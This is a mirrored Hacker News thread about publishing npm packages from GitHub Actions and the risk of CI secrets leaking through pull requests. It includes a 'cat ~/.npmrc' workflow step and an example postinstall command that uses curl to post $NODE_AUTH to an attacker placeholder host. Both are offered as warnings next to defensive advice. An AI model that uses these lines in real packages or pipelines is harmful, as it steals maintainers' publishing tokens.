Live data from Hacker News

Publish NPM Package with GitHub Actions

juffalow.com

21–29 of 29 posts

Re: Publish NPM Package with GitHub Actions

#21
post #6

Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…

I like the way GitLab solves this. You mark your secrets ("CI/CD env vars") as protected, then only protected branches and tags can use them. When someone has right to merge or push to a protected branch, thay of course gain access to these vars, but if you don't allow anyone to do this, you are pretty safe.

Re: Publish NPM Package with GitHub Actions

#22
post #7

You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine... https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...

Off topic, but cool, I didn't know npm has a version bump capability. I wrote my own small cli tool[0] for new releases, which could have been even smaller via leveraging the npm builtin. Thanks!

[0] https://github.com/brianzelip/bump

Re: Publish NPM Package with GitHub Actions

#23
post #6

Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…

> With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository.

https://help.github.com/en/actions/automating-your-workflow-...

Re: Publish NPM Package with GitHub Actions

#24
post #23
post #6

Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…

> With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. https://help.github.com/en/actions/automating-your-workflow-...

Yeah but it only takes accidentally merging in something malicious once to have it running in the main repository now

Re: Publish NPM Package with GitHub Actions

#26
post #7

You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine... https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...

I think attacker could still do this in a post install script:

curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret

Re: Publish NPM Package with GitHub Actions

#27
post #6

Note that you need to be very careful about this if you have a public repository that accepts PR's from third parties. There is nothing stopping someone from adding this via a PR: - name: Give me this person's NPM token run: cat ~/.npmrc Even if you have it locked down so they can't see the build output, they could just add a curl command to post the contents of your .npmrc file to their server. A number of open sour…

Yes this is a problem in Rust-land too. crates.io doesn't support user tokens to be limited to a crate only [1], but gives access to all the crates an user has access to. So if the token leaks, attackers have access to all your crates. For the cpal crate we worked around the issue by creating a new github user that has only access to the cpal crate (and maybe in the future a few other crates in the same org) but nothing more [2]. This solution isn't really good tho.

[1]: https://github.com/rust-lang/crates.io/issues/849

[2]: https://github.com/RustAudio/cpal/pull/337

Re: Publish NPM Package with GitHub Actions

#28
post #7

You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine... https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...

I think attacker could still do this in a post install script: curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret

fair enough... separating build and publish actions, and using artifacts from one to the other can help limit exposure to just the publish yaml.

Though, one should be very leery of anything that touches certain paths... for the most part, I tent to use scripts/npm/ for anything run from package.json and would also watch out for any changes in .github/

It depends on a bit of due diligence. It's not any different than other CI/CD platforms in any meaningful way.

Re: Publish NPM Package with GitHub Actions

#29
post #25

Are GHAs like FaaS for Git?

Pretty much yes. Their build running machines are very powerful and loaded with lots of typical libraries. They specifically state that GHA should not be used as a general serverless compute platform in their TOS. I think that needs to be said because its perfectly capable of being a pretty robust FaaS platform in general- but certainly its totally valid to use as FaaS for git or anything that could be GitHub webhook, like PR comments, milestone updates, label creation, etc.
Post reply on HN